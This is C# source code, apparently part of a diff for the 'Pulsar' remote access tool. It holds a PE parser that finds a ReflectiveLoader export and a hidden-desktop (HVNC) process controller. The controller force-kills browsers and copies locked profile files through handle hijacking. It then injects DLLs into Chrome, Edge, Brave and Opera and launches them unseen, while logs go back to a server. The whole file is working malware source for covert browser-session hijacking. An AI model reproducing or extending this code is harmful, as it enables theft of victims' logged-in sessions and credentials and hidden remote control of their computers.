public uint SizeOfRawData;
public uint PointerToRawData;
public uint PointerToRelocations;
public uint PointerToLinenumbers;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public uint Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_EXPORT_DIRECTORY
{
public uint Characteristics;
public uint TimeDateStamp;
public ushort MajorVersion;
public ushort MinorVersion;
public uint Name;
public uint Base;
public uint NumberOfFunctions;
public uint NumberOfNames;
public uint AddressOfFunctions;
public uint AddressOfNames;
public uint AddressOfNameOrdinals;
}
private const int IMAGE_DIRECTORY_ENTRY_EXPORT = 0;
private const ushort IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b;
private const ushort IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b;
#endregion PE Structures
public static uint GetReflectiveLoaderOffset(byte[] buffer)
{
try
{
int baseAddress = 0;
IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure<IMAGE_DOS_HEADER>(buffer, 0);
int ntHeadersOffset = baseAddress + dosHeader.e_lfanew;
uint signature = BitConverter.ToUInt32(buffer, ntHeadersOffset);
if (signature != 0x00004550) // "PE\0\0"
return 0;
IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure<IMAGE_FILE_HEADER>(buffer, ntHeadersOffset + 4);
int optionalHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER));
ushort magic = BitConverter.ToUInt16(buffer, optionalHeaderOffset);
uint exportDirRva;
if (magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
{
if (IntPtr.Size != 4)
return 0;
IMAGE_OPTIONAL_HEADER32 optHeader = ByteArrayToStructure<IMAGE_OPTIONAL_HEADER32>(buffer, optionalHeaderOffset);
exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
}
else if (magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
{
if (IntPtr.Size != 8)
return 0;
IMAGE_OPTIONAL_HEADER64 optHeader = ByteArrayToStructure<IMAGE_OPTIONAL_HEADER64>(buffer, optionalHeaderOffset);
exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
}
else
{
return 0;
}
if (exportDirRva == 0)
return 0;
uint exportDirOffset = Rva2Offset(exportDirRva, buffer, baseAddress);
if (exportDirOffset == 0)
return 0;
IMAGE_EXPORT_DIRECTORY exportDir = ByteArrayToStructure<IMAGE_EXPORT_DIRECTORY>(buffer, (int)exportDirOffset);
uint nameArrayOffset = Rva2Offset(exportDir.AddressOfNames, buffer, baseAddress);
uint addressArrayOffset = Rva2Offset(exportDir.AddressOfFunctions, buffer, baseAddress);
uint nameOrdinalsOffset = Rva2Offset(exportDir.AddressOfNameOrdinals, buffer, baseAddress);
for (uint i = 0; i < exportDir.NumberOfNames; i++)
{
uint nameRva = BitConverter.ToUInt32(buffer, (int)(nameArrayOffset + i * 4));
uint nameOffset = Rva2Offset(nameRva, buffer, baseAddress);
string functionName = ReadNullTerminatedString(buffer, (int)nameOffset);
if (functionName.Contains("ReflectiveLoader"))
{
ushort ordinal = BitConverter.ToUInt16(buffer, (int)(nameOrdinalsOffset + i * 2));
uint functionRva = BitConverter.ToUInt32(buffer, (int)(addressArrayOffset + ordinal * 4));
return Rva2Offset(functionRva, buffer, baseAddress);
}
}
}
catch
{
return 0;
}
return 0;
}
private static uint Rva2Offset(uint dwRva, byte[] buffer, int baseAddress)
{
IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure<IMAGE_DOS_HEADER>(buffer, 0);
int ntHeadersOffset = baseAddress + dosHeader.e_lfanew;
IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure<IMAGE_FILE_HEADER>(buffer, ntHeadersOffset + 4);
int sectionHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + fileHeader.SizeOfOptionalHeader;
IMAGE_SECTION_HEADER firstSection = ByteArrayToStructure<IMAGE_SECTION_HEADER>(buffer, sectionHeaderOffset);
if (dwRva < firstSection.PointerToRawData)
return dwRva;
for (int i = 0; i < fileHeader.NumberOfSections; i++)
{
IMAGE_SECTION_HEADER section = ByteArrayToStructure<IMAGE_SECTION_HEADER>(buffer, sectionHeaderOffset + i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)));
if (dwRva >= section.VirtualAddress && dwRva < section.VirtualAddress + section.SizeOfRawData)
{
return dwRva - section.VirtualAddress + section.PointerToRawData;
}
}
return 0;
}
private static T ByteArrayToStructure<T>(byte[] bytes, int offset) where T : struct
{
int size = Marshal.SizeOf(typeof(T));
IntPtr ptr = Marshal.AllocHGlobal(size);
try
{
Marshal.Copy(bytes, offset, ptr, size);
return (T)Marshal.PtrToStructure(ptr, typeof(T));
}
finally
{
Marshal.FreeHGlobal(ptr);
}
}
private static string ReadNullTerminatedString(byte[] buffer, int offset)
{
int length = 0;
while (offset + length < buffer.Length && buffer[offset + length] != 0)
{
length++;
}
return Encoding.ASCII.GetString(buffer, offset, length);
}
}
}
@@ -0,0 +1,870 @@
using Microsoft.Win32;
using Pulsar.Client.Helper.HVNC.Chromium;
using Pulsar.Client.LoggingAPI;
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
namespace Pulsar.Client.Helper.HVNC
{
public class ProcessController
{
public ProcessController(string DesktopName)
{
this.DesktopName = DesktopName;
}
[DllImport("kernel32.dll")]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
private const uint WAIT_OBJECT_0 = 0x00000000;
private const uint WAIT_TIMEOUT = 0x00000102;
private const uint INFINITE = 0xFFFFFFFF;
private const int STARTF_USEPOSITION = 0x00000004;
private readonly struct CloneResult
{
public CloneResult(bool success, bool cancelled, string destination)
{
Success = success;
Cancelled = cancelled;
Destination = destination ?? string.Empty;
}
public bool Success { get; }
public bool Cancelled { get; }
public string Destination { get; }
}
private static bool DeleteFolder(string folderPath)
{
bool result;
try
{
if (Directory.Exists(folderPath))
{
Directory.Delete(folderPath, true);
result = true;
}
else
{
Debug.WriteLine("Folder does not exist.");
result = false;
}
}
catch (Exception ex)
{
Debug.WriteLine("Error deleting folder: " + ex.Message);
result = false;
}
return result;
}
private void CleanupCancelledClone(string destinationDir)
{
if (string.IsNullOrWhiteSpace(destinationDir))
{
return;
}
try
{
if (Directory.Exists(destinationDir))
{
Debug.WriteLine($"[BrowserClone] Cleaning up cancelled clone at '{destinationDir}'");
DeleteFolder(destinationDir);
}
}
catch (Exception cleanupEx)
{
Debug.WriteLine($"[BrowserClone] Cleanup failed for '{destinationDir}': {cleanupEx.Message}");
}
}
public void StartCmd()
{
string path = "conhost cmd.exe";
this.CreateProc(path);
}
public void StartPowershell()
{
string path = "conhost powershell.exe";
this.CreateProc(path);
}
public void StartGeneric(string path)
{
string command = "conhost " + path;
this.CreateProc(command);
}
public async Task StartFirefoxAsync()
{
BrowserCloneProgressSession progressSession = null;
Task completionTask = Task.CompletedTask;
bool cloneSucceeded = false;
bool cloneCancelled = false;
try
{
string basePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Mozilla", "Firefox");
if (!Directory.Exists(basePath))
{
Debug.WriteLine("Firefox base directory not found.");
return;
}
string sourceDir = Path.Combine(basePath, "Profiles");
if (!Directory.Exists(sourceDir))
{
Debug.WriteLine("Firefox profiles directory not found.");
return;
}
string destination = Path.Combine(basePath, "fudasf");
if (Directory.Exists(destination))
{
DeleteFolder(destination);
}
progressSession = await BrowserCloneProgressSession.TryCreateAsync("Firefox").ConfigureAwait(false);
progressSession?.ReportPreparing();
CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None;
try
{
cloneSucceeded = await Task.Run(() => HandleHijacker.ForceCopyDirectory(sourceDir, destination, killIfFailed: false, progressSession?.Progress, cancellationToken)).ConfigureAwait(false);
}
catch (OperationCanceledException)
{
cloneCancelled = true;
CleanupCancelledClone(destination);
}
if (cloneCancelled)
{
Debug.WriteLine("Firefox profile cloning cancelled by user skipping launch.");
}
else if (cloneSucceeded)
{
Debug.WriteLine("Firefox profile cloned successfully.");
}
else
{
Debug.WriteLine("Firefox profile cloning reported partial success; some files may be locked.");
}
bool completedSuccessfully = cloneSucceeded && !cloneCancelled;
completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask;
if (cloneCancelled)
{
return;
}
string startCommand = $"Conhost --headless cmd.exe /c start firefox --profile=\"{destination}\"";
CreateProc(startCommand);
}
catch (OperationCanceledException)
{
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
cloneCancelled = true;
Debug.WriteLine("Firefox profile cloning cancelled by user.");
}
catch (Exception ex)
{
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
Debug.WriteLine("Error starting Firefox: " + ex.Message);
}
finally
{
await completionTask.ConfigureAwait(false);
progressSession?.Dispose();
}
}
public async Task StartBraveAsync(byte[] dllbytes)
{
try
{
var braveConfig = BrowserConfiguration.GetConfig("Brave");
if (braveConfig == null || !BrowserConfiguration.ValidateConfig(braveConfig))
{
Debug.WriteLine("Brave executable not found.");
return;
}
Debug.WriteLine($"Found Brave at: {braveConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(braveConfig.SearchPattern, braveConfig.ReplacementPath, "Brave").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("Brave profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, braveConfig.ExecutablePath, braveConfig.SearchPattern, braveConfig.ReplacementPath)).ConfigureAwait(false);
Debug.WriteLine("Brave started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during Brave DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("Brave profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting Brave: " + ex.Message);
}
}
public async Task StartOperaAsync(byte[] dllbytes)
{
try
{
var operaConfig = BrowserConfiguration.GetConfig("Opera");
if (operaConfig == null || !BrowserConfiguration.ValidateConfig(operaConfig))
{
Debug.WriteLine("Opera executable not found.");
return;
}
Debug.WriteLine($"Found Opera at: {operaConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(operaConfig.SearchPattern, operaConfig.ReplacementPath, "Opera").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("Opera profile cloning cancelled by user skipping injection.");
return;
}
try
{
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaConfig.ExecutablePath, operaConfig.SearchPattern, operaConfig.ReplacementPath)).ConfigureAwait(false);
if (processId > 0)
{
Debug.WriteLine("Opera started successfully with reflective DLL injection.");
await Task.Delay(2000).ConfigureAwait(false);
_ = Task.Run(async () =>
{
try
{
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
}
catch (Exception patchEx)
{
Debug.WriteLine($"Opera patcher error: {patchEx.Message}");
}
});
}
else
{
Debug.WriteLine("Failed to start Opera process.");
}
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during Opera DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("Opera profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting Opera: " + ex.Message);
}
}
public async Task StartOperaGXAsync(byte[] dllbytes)
{
try
{
var operaGXConfig = BrowserConfiguration.GetConfig("OperaGX");
if (operaGXConfig == null || !BrowserConfiguration.ValidateConfig(operaGXConfig))
{
Debug.WriteLine("OperaGX executable not found.");
return;
}
Debug.WriteLine($"Found OperaGX at: {operaGXConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath, "Opera GX").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("OperaGX profile cloning cancelled by user skipping injection.");
return;
}
try
{
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, operaGXConfig.ExecutablePath, operaGXConfig.SearchPattern, operaGXConfig.ReplacementPath)).ConfigureAwait(false);
if (processId > 0)
{
Debug.WriteLine("OperaGX started successfully with reflective DLL injection.");
await Task.Delay(2000).ConfigureAwait(false);
_ = Task.Run(async () =>
{
try
{
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
}
catch (Exception patchEx)
{
Debug.WriteLine($"OperaGX patcher error: {patchEx.Message}");
}
});
}
else
{
Debug.WriteLine("Failed to start OperaGX process.");
}
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during OperaGX DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("OperaGX profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting OperaGX: " + ex.Message);
}
}
public async Task StartEdgeAsync(byte[] dllbytes)
{
try
{
var edgeConfig = BrowserConfiguration.GetConfig("Edge");
if (edgeConfig == null || !BrowserConfiguration.ValidateConfig(edgeConfig))
{
Debug.WriteLine("Edge executable not found.");
return;
}
Debug.WriteLine($"Found Edge at: {edgeConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(edgeConfig.SearchPattern, edgeConfig.ReplacementPath, "Edge").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine("Edge profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, edgeConfig.ExecutablePath, edgeConfig.SearchPattern, edgeConfig.ReplacementPath)).ConfigureAwait(false);
Debug.WriteLine("Edge started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during Edge DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine("Edge profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine("Error starting Edge: " + ex.Message);
}
}
public async Task StartChromeAsync(byte[] dllbytes)
{
try
{
var chromeConfig = BrowserConfiguration.GetChromeConfig();
if (chromeConfig == null)
{
UniversalDebugLogger.SendLogToServer("Chrome executable not found.");
return;
}
UniversalDebugLogger.SendLogToServer($"Found Chrome at: {chromeConfig.ExecutablePath}");
var cloneResult = await CloneBrowserProfileAsync(chromeConfig.SearchPattern, chromeConfig.ReplacementPath, "Chrome").ConfigureAwait(false);
if (cloneResult.Cancelled)
{
UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, chromeConfig.ExecutablePath, chromeConfig.SearchPattern, chromeConfig.ReplacementPath)).ConfigureAwait(false);
UniversalDebugLogger.SendLogToServer("Chrome started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
UniversalDebugLogger.SendLogToServer($"Error during DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
UniversalDebugLogger.SendLogToServer("Chrome profile cloning cancelled by user.");
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer("Error starting Chrome: " + ex.Message);
}
}
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
/// <summary>
/// Generic method to start any browser by type with reflective DLL injection.
/// </summary>
/// <param name="browserType">Type of browser (Chrome, Edge, Brave, Opera, OperaGX)</param>
/// <param name="dllbytes">DLL bytes to inject</param>
public async Task StartBrowserAsync(string browserType, byte[] dllbytes)
{
try
{
if (browserType.Equals("Chrome", StringComparison.OrdinalIgnoreCase))
{
await StartChromeAsync(dllbytes).ConfigureAwait(false);
return;
}
var config = BrowserConfiguration.GetConfig(browserType);
if (config == null || !BrowserConfiguration.ValidateConfig(config))
{
Debug.WriteLine($"{browserType} executable not found.");
return;
}
Debug.WriteLine($"Found {browserType} at: {config.ExecutablePath}");
string processName = Path.GetFileNameWithoutExtension(config.ExecutablePath).ToLower();
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F";
STARTUPINFO startupInfo = default(STARTUPINFO);
startupInfo.cb = Marshal.SizeOf<STARTUPINFO>(startupInfo);
startupInfo.lpDesktop = this.DesktopName;
startupInfo.dwX = 0;
startupInfo.dwY = 0;
startupInfo.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION);
if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo))
{
Debug.WriteLine($"Waiting for {browserType} processes to terminate...");
WaitForProcessCompletion(processInfo, 5000);
}
else
{
Debug.WriteLine("Failed to create taskkill process, using fallback delay.");
await Task.Delay(500).ConfigureAwait(false);
}
var cloneResult = await CloneBrowserProfileAsync(config.SearchPattern, config.ReplacementPath, browserType).ConfigureAwait(false);
if (cloneResult.Cancelled)
{
Debug.WriteLine($"{browserType} profile cloning cancelled by user skipping injection.");
return;
}
try
{
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, config.ExecutablePath, config.SearchPattern, config.ReplacementPath)).ConfigureAwait(false);
if (processId > 0)
{
Debug.WriteLine($"{browserType} started successfully with reflective DLL injection.");
if (browserType.Equals("Opera", StringComparison.OrdinalIgnoreCase) ||
browserType.Equals("OperaGX", StringComparison.OrdinalIgnoreCase))
{
await Task.Delay(2000).ConfigureAwait(false);
_ = Task.Run(async () =>
{
try
{
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
}
catch (Exception patchEx)
{
Debug.WriteLine($"{browserType} patcher error: {patchEx.Message}");
}
});
}
}
else
{
Debug.WriteLine($"Failed to start {browserType} process.");
}
}
catch (Exception injectionEx)
{
Debug.WriteLine($"Error during {browserType} DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
Debug.WriteLine($"{browserType} profile cloning cancelled by user.");
}
catch (Exception ex)
{
Debug.WriteLine($"Error starting {browserType}: {ex.Message}");
}
}
public bool CreateProc(string filePath)
{
STARTUPINFO structure = default(STARTUPINFO);
structure.cb = Marshal.SizeOf<STARTUPINFO>(structure);
structure.lpDesktop = this.DesktopName;
// try setting position to 0,0
structure.dwX = 0;
structure.dwY = 0;
structure.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION process_INFORMATION = default(PROCESS_INFORMATION);
return CreateProcess(null, filePath, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION);
}
public void StartDiscord()
{
string discordPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Discord\\Update.exe";
if (!File.Exists(discordPath)) return;
string killCommand = "Conhost --headless cmd.exe /c taskkill /IM discord.exe /F";
this.CreateProc(killCommand);
Thread.Sleep(1000);
string startCommand = "\"" + discordPath + "\" --processStart Discord.exe";
this.CreateProc(startCommand);
}
public void StartExplorer()
{
uint num = 2U;
string name = "TaskbarGlomLevel";
string name2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced";
using (RegistryKey registryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(name2, true))
{
if (registryKey != null)
{
object value = registryKey.GetValue(name);
if (value is uint)
{
uint num2 = (uint)value;
if (num2 != num)
{
registryKey.SetValue(name, num, RegistryValueKind.DWord);
}
}
}
}
string explorerPath = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\explorer.exe /NoUACCheck";
this.CreateProc(explorerPath);
}
/// <summary>
/// Clones browser profile from SearchPattern to ReplacementPath.
/// Executes on a background thread to avoid blocking message processing.
/// </summary>
/// <param name="searchPattern">Relative path pattern (e.g., "Local\Google\Chrome\User Data")</param>
/// <param name="replacementPath">Relative path for destination (e.g., "Local\Google\Chrome\KDOT")</param>
private async Task<CloneResult> CloneBrowserProfileAsync(string searchPattern, string replacementPath, string browserName = null)
{
BrowserCloneProgressSession progressSession = null;
Task completionTask = Task.CompletedTask;
CloneResult cloneResult = default;
try
{
progressSession = await BrowserCloneProgressSession.TryCreateAsync(browserName).ConfigureAwait(false);
progressSession?.ReportPreparing();
CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None;
cloneResult = await Task.Run(() => CloneBrowserProfileInternal(
searchPattern,
replacementPath,
cancellationToken,
progressSession?.Progress)).ConfigureAwait(false);
bool completedSuccessfully = cloneResult.Success && !cloneResult.Cancelled;
completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask;
return cloneResult;
}
catch
{
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
throw;
}
finally
{
await completionTask.ConfigureAwait(false);
progressSession?.Dispose();
}
}
private CloneResult CloneBrowserProfileInternal(
string searchPattern,
string replacementPath,
CancellationToken cancellationToken,
IProgress<BrowserCloneProgress> progress)
{
string localSearch = searchPattern;
string localReplacement = replacementPath;
string baseDir;
if (localSearch.StartsWith("Local\\", StringComparison.OrdinalIgnoreCase))
{
baseDir = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
localSearch = localSearch.Substring(6);
localReplacement = localReplacement.Substring(6);
}
else if (localSearch.StartsWith("Roaming\\", StringComparison.OrdinalIgnoreCase))
{
baseDir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
localSearch = localSearch.Substring(8);
localReplacement = localReplacement.Substring(8);
}
else
{
Debug.WriteLine($"Invalid search pattern format: {localSearch}");
return new CloneResult(false, false, string.Empty);
}
string sourceDir = Path.Combine(baseDir, localSearch);
string destDir = Path.Combine(baseDir, localReplacement);
try
{
cancellationToken.ThrowIfCancellationRequested();
UniversalDebugLogger.SendLogToServer($"Cloning browser profile from '{sourceDir}' to '{destDir}'");
if (!Directory.Exists(sourceDir))
{
UniversalDebugLogger.SendLogToServer($"Source directory does not exist: {sourceDir}");
return new CloneResult(false, false, destDir);
}
if (Directory.Exists(destDir))
{
UniversalDebugLogger.SendLogToServer($"Removing existing destination directory: {destDir}");
DeleteFolder(destDir);
}
cancellationToken.ThrowIfCancellationRequested();
UniversalDebugLogger.SendLogToServer("[BrowserClone] Using handle hijacking for locked files...");
bool success = HandleHijacker.ForceCopyDirectory(
sourceDir,
destDir,
killIfFailed: false,
progress,
cancellationToken);
if (success)
{
UniversalDebugLogger.SendLogToServer("[BrowserClone] Browser profile cloned successfully with handle hijacking.");
}
else
{
UniversalDebugLogger.SendLogToServer("[BrowserClone] Handle hijacking partial success, some files may be skipped.");
}
return new CloneResult(success, false, destDir);
}
catch (OperationCanceledException)
{
UniversalDebugLogger.SendLogToServer("[BrowserClone] Operation cancelled by user.");
CleanupCancelledClone(destDir);
return new CloneResult(false, true, destDir);
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer($"Error cloning browser profile: {ex.Message}");
CleanupCancelledClone(destDir);
throw;
}
}
/// <summary>
/// Waits for a process to complete with a timeout
/// </summary>
/// <param name="processInfo">Process information structure</param>
/// <param name="timeoutMs">Timeout in milliseconds (default 5000ms)</param>
/// <returns>True if process completed within timeout, false otherwise</returns>
private bool WaitForProcessCompletion(PROCESS_INFORMATION processInfo, uint timeoutMs = 5000)
{
try
{
if (processInfo.hProcess == IntPtr.Zero)
return false;
uint result = WaitForSingleObject(processInfo.hProcess, timeoutMs);
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
return result == WAIT_OBJECT_0;
}
catch (Exception ex)
{
Debug.WriteLine($"Error waiting for process: {ex.Message}");
return false;
}
}
public async Task StartGenericChromiumAsync(byte[] dllbytes, string browserPath, string searchPattern, string replacementPath)
{
try
{
if (string.IsNullOrWhiteSpace(browserPath) || !File.Exists(browserPath))
{
UniversalDebugLogger.SendLogToServer($"Generic Chromium browser executable not found at: {browserPath}");
return;
}
if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath))
{
UniversalDebugLogger.SendLogToServer("Search pattern and replacement path are required for generic Chromium browser.");
return;
}
UniversalDebugLogger.SendLogToServer($"Starting Generic Chromium Browser: {browserPath}");
UniversalDebugLogger.SendLogToServer($"Search Pattern: {searchPattern}");
UniversalDebugLogger.SendLogToServer($"Replacement Path: {replacementPath}");
string processName = Path.GetFileNameWithoutExtension(browserPath);
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F";
STARTUPINFO startupInfo = default(STARTUPINFO);
startupInfo.cb = Marshal.SizeOf<STARTUPINFO>(startupInfo);
startupInfo.lpDesktop = this.DesktopName;
startupInfo.dwX = 0;
startupInfo.dwY = 0;
startupInfo.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION);
UniversalDebugLogger.SendLogToServer($"Killing any existing {processName}.exe processes...");
if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo))
{
UniversalDebugLogger.SendLogToServer($"Waiting for {processName}.exe processes to terminate...");
WaitForProcessCompletion(processInfo, 5000);
}
else
{
UniversalDebugLogger.SendLogToServer("Failed to create taskkill process, using fallback delay.");
await Task.Delay(500).ConfigureAwait(false);
}
string friendlyName = Path.GetFileNameWithoutExtension(browserPath);
if (string.IsNullOrWhiteSpace(friendlyName))
{
friendlyName = "Chromium";
}
var cloneResult = await CloneBrowserProfileAsync(searchPattern, replacementPath, friendlyName).ConfigureAwait(false);
if (cloneResult.Cancelled)
{
UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user skipping injection.");
return;
}
try
{
await Task.Run(() => KDOTInjector.Start(dllbytes, browserPath, searchPattern, replacementPath)).ConfigureAwait(false);
UniversalDebugLogger.SendLogToServer($"Generic Chromium browser started successfully with reflective DLL injection.");
}
catch (Exception injectionEx)
{
UniversalDebugLogger.SendLogToServer($"Error during generic Chromium DLL injection: {injectionEx.Message}");
}
}
catch (OperationCanceledException)
{
UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user.");
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer($"Error starting generic Chromium browser: {ex.Message}");
}
}
private string DesktopName;
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
}
}